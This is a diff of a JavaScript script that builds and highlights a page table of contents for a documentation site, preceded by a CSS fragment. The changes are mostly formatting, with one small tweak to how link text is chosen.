height: calc(100vh - var(--menu-bar-height) - 50px * 2);
overflow: auto;
display: flex;
flex-direction: column;

View File

@ -1,68 +1,76 @@
let scrollTimeout;
let scrollTimeout
const listenActive = () => {
const elems = document.querySelector(".pagetoc").children;
[...elems].forEach(el => {
const elems = document.querySelector(".pagetoc").children
;[...elems].forEach((el) => {
el.addEventListener("click", (event) => {
clearTimeout(scrollTimeout);
[...elems].forEach(el => el.classList.remove("active"));
el.classList.add("active");
clearTimeout(scrollTimeout)
;[...elems].forEach((el) => el.classList.remove("active"))
el.classList.add("active")
// Prevent scroll updates for a short period
scrollTimeout = setTimeout(() => {
scrollTimeout = null;
}, 100); // Adjust timing as needed
});
});
};
scrollTimeout = null
}, 100) // Adjust timing as needed
})
})
}
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
const getPagetoc = () =>
document.querySelector(".pagetoc") || autoCreatePagetoc()
const autoCreatePagetoc = () => {
const main = document.querySelector("#content > main");
const main = document.querySelector("#content > main")
const content = Object.assign(document.createElement("div"), {
className: "content-wrap"
});
content.append(...main.childNodes);
main.prepend(content);
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
return document.querySelector(".pagetoc");
};
className: "content-wrap",
})
content.append(...main.childNodes)
main.prepend(content)
main.insertAdjacentHTML(
"afterbegin",
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
)
return document.querySelector(".pagetoc")
}
const updateFunction = () => {
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")];
const scrolledY = window.scrollY;
let lastHeader = null;
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
const headers = [...document.getElementsByClassName("header")]
const scrolledY = window.scrollY
let lastHeader = null
// Find the last header that is above the current scroll position
for (let i = headers.length - 1; i >= 0; i--) {
if (scrolledY >= headers[i].offsetTop) {
lastHeader = headers[i];
break;
lastHeader = headers[i]
break
}
}
const pagetocLinks = [...document.querySelector(".pagetoc").children];
pagetocLinks.forEach(link => link.classList.remove("active"));
const pagetocLinks = [...document.querySelector(".pagetoc").children]
pagetocLinks.forEach((link) => link.classList.remove("active"))
if (lastHeader) {
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
if (activeLink) activeLink.classList.add("active");
const activeLink = pagetocLinks.find(
(link) => lastHeader.href === link.href
)
if (activeLink) activeLink.classList.add("active")
}
};
}
window.addEventListener('load', () => {
const pagetoc = getPagetoc();
const headers = [...document.getElementsByClassName("header")];
headers.forEach(header => {
window.addEventListener("load", () => {
const pagetoc = getPagetoc()
const headers = [...document.getElementsByClassName("header")]
headers.forEach((header) => {
const link = Object.assign(document.createElement("a"), {
textContent: header.text,
href: header.href,
className: `pagetoc-${header.parentElement.tagName}`
});
pagetoc.appendChild(link);
});
updateFunction();
listenActive();
window.addEventListener("scroll", updateFunction);
});
className: `pagetoc-${header.parentElement.tagName}`,
})
if (header.parentElement.querySelectorAll("a").length === 2) {
link.textContent = header.parentElement.querySelectorAll("a")[1].text
}
pagetoc.appendChild(link)
})
updateFunction()
listenActive()
window.addEventListener("scroll", updateFunction)
})